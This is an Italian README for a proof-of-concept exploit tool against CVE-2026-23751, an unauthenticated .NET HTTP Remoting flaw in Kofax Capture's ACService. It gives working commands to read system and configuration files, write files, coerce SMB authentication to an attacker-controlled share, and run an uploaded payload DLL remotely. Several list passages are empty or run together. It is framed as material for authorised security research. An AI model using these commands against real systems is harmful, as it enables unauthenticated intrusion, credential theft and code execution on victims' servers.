
RemotingClient modificato per sfruttare CVE-2026-23751 (Tungsten Automation - Kofax Capture: lettura/scrittura di file non autenticata, esecuzione di codice remoto e coercizione SMB tramite .NET HTTP Remoting)
Implementazione proof-of-concept della tecnica .NET HTTP Remoting descritta in NewRemotingTricks di Code White, rivolta a Tungsten Automation Kofax Capture.
Titolo: Tungsten Automation Kofax Capture Unauthenticated File Read/Write and Command Execution via .NET HTTP Remoting
CVE: CVE-2026-23751
Autori di questo PoC (non della CVE): Filip Sanders, Siebren Kraak
CVE-2026-23751 riguarda Tungsten Automation Kofax Capture e consente a un attaccante remoto non autenticato di interagire con un endpoint .NET HTTP Remoting esposto dal servizio ACService di Kofax Capture.
La vulnerabilità può essere sfruttata per eseguire operazioni nel contesto di sicurezza del servizio Kofax Capture, tra cui:
Il PoC reimplementa la tecnica .NET Remoting rilevante dal progetto NewRemotingTricks di Code White.
Il PoC prende di mira l'endpoint HTTP Remoting ACService di Kofax Capture:
http://<target>:2424/ACService
La porta 2424 è la porta HTTP Remoting predefinita utilizzata dal servizio interessato.
Il PoC supporta tre operazioni:
read
write
exec
La sintassi generale è:
RemotingClient_MBRO_Lazy.exe <operation> <object-url> <file-url> [content]
L'esempio seguente legge il file hosts di Windows dal target:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService C:\Windows\System32\drivers\etc\hosts
Un file di configurazione di Kofax Capture può essere letto in modo analogo:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService C:\ProgramData\Kofax\Remoting\Client\Configuration\ConfigInfo.xml
Le risorse remote possono essere accessibili anche tramite un URI file://:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService file://\\<attacker>\share\file.txt
Il contenuto restituito dal WebClient remoto viene scritto sullo standard output.
È possibile scrivere un file in una posizione accessibile dal servizio Kofax Capture fornendo il percorso di destinazione seguito dal contenuto:
PS C:/> .\RemotingClient_MBRO_Lazy.exe write http://<target>:2424/ACService C:\Windows\Temp\test.txt HelloWorld
Il contenuto fornito è codificato in UTF-8 e caricato utilizzando il WebClient istanziato in remoto.
La stessa funzionalità può essere utilizzata con un percorso UNC per scrivere su una condivisione SMB remota:
PS C:/> .\RemotingClient_MBRO_Lazy.exe write http://<target>:2424/ACService \\<remote_host>\share\file.txt HelloWorld
La possibilità di accedere alla risorsa remota dipende dai permessi e dal contesto di sicurezza del servizio Kofax Capture.
L'operazione read può essere utilizzata con una risorsa remota file:// per indurre il target ad accedere a una risorsa SMB controllata dall'attaccante:
PS C:/> .\RemotingClient_MBRO_Lazy.exe read http://<target>:2424/ACService file://\\<attacker>\share\file.txt
Questo può causare l'autenticazione dell'host interessato al server SMB controllato dall'attaccante, a seconda dell'ambiente di destinazione e della sua configurazione di sicurezza.
L'operazione exec può essere utilizzata per eseguire un assembly .NET fornito nel contesto del servizio remoto Kofax Capture.
L'assembly viene prima caricato sul target e poi caricato utilizzando un AssemblyInstaller istanziato da remoto:
PS C:/> .\RemotingClient_MBRO_Lazy.exe exec http://<target>:2424/ACService C:\Windows\Temp\payload.dll
Il percorso fornito viene utilizzato come destinazione per l'assembly caricato e successivamente passato al AssemblyInstaller remoto. L'assembly viene caricato lato server e installato tramite il meccanismo di installazione di .NET Framework.
Dopo l'esecuzione, il PoC legge l'output dell'esecuzione da:
C:\Windows\Temp\pwn_out.txt
Il comportamento esatto del payload dipende dal contenuto di Payload.dll.
La vulnerabilità riguarda l'uso di .NET HTTP Remoting da parte di ACService di Kofax Capture.
.NET Remoting fornisce meccanismi per comunicare con istanze remote di MarshalByRefObject. Interagendo con l'endpoint remoting esposto e manipolando il contesto di chiamata logico, il PoC può ottenere istanze remote di classi di .NET Framework che ereditano da MarshalByRefObject.
Il PoC sfrutta questo comportamento per ottenere istanze remote di:
System.Net.WebClient
System.Configuration.Install.AssemblyInstaller
Un WebClient istanziato in remoto può quindi essere utilizzato per eseguire operazioni sul file system e sulla rete dal contesto del servizio Kofax Capture.
Per l'esecuzione di comandi, il PoC carica Payload.dll utilizzando il WebClient remoto, ottiene un AssemblyInstaller remoto, ne imposta il percorso dell'assembly e invoca il meccanismo di installazione. Ciò provoca il caricamento e l'esecuzione dell'assembly fornito sul target.
Il PoC dimostra quindi le seguenti primitive:
MarshalByRefObjectLa funzionalità write opera attualmente su dati stringa codificati in UTF-8. Tipi di file e formati di payload aggiuntivi possono essere supportati modificando il codice sorgente.
ACService di Kofax Capture del targetRemotingClient_MBRO_Lazy.exePayload.dll quando si utilizza l'operazione execNon è richiesta alcuna autenticazione al servizio Kofax Capture per lo sfruttamento.
CVE-2026-23751-poc/
├── RemotingClient_MBRO_Lazy/
│ └── RemotingClient_MBRO_Lazy.exe
├── Shared/
│ └── Shared.dll
├── Payload/
│ └── Payload.dll
└── README.md
Filip Sanders
Siebren Kraak
Questo repository è fornito esclusivamente per scopi di ricerca sulla sicurezza, validazione di vulnerabilità e penetration testing autorizzato.
Non utilizzare questo PoC contro sistemi senza esplicita autorizzazione. Gli autori non sono responsabili per danni, perdita di dati, accessi non autorizzati o altre conseguenze derivanti dall'uso improprio di questo software.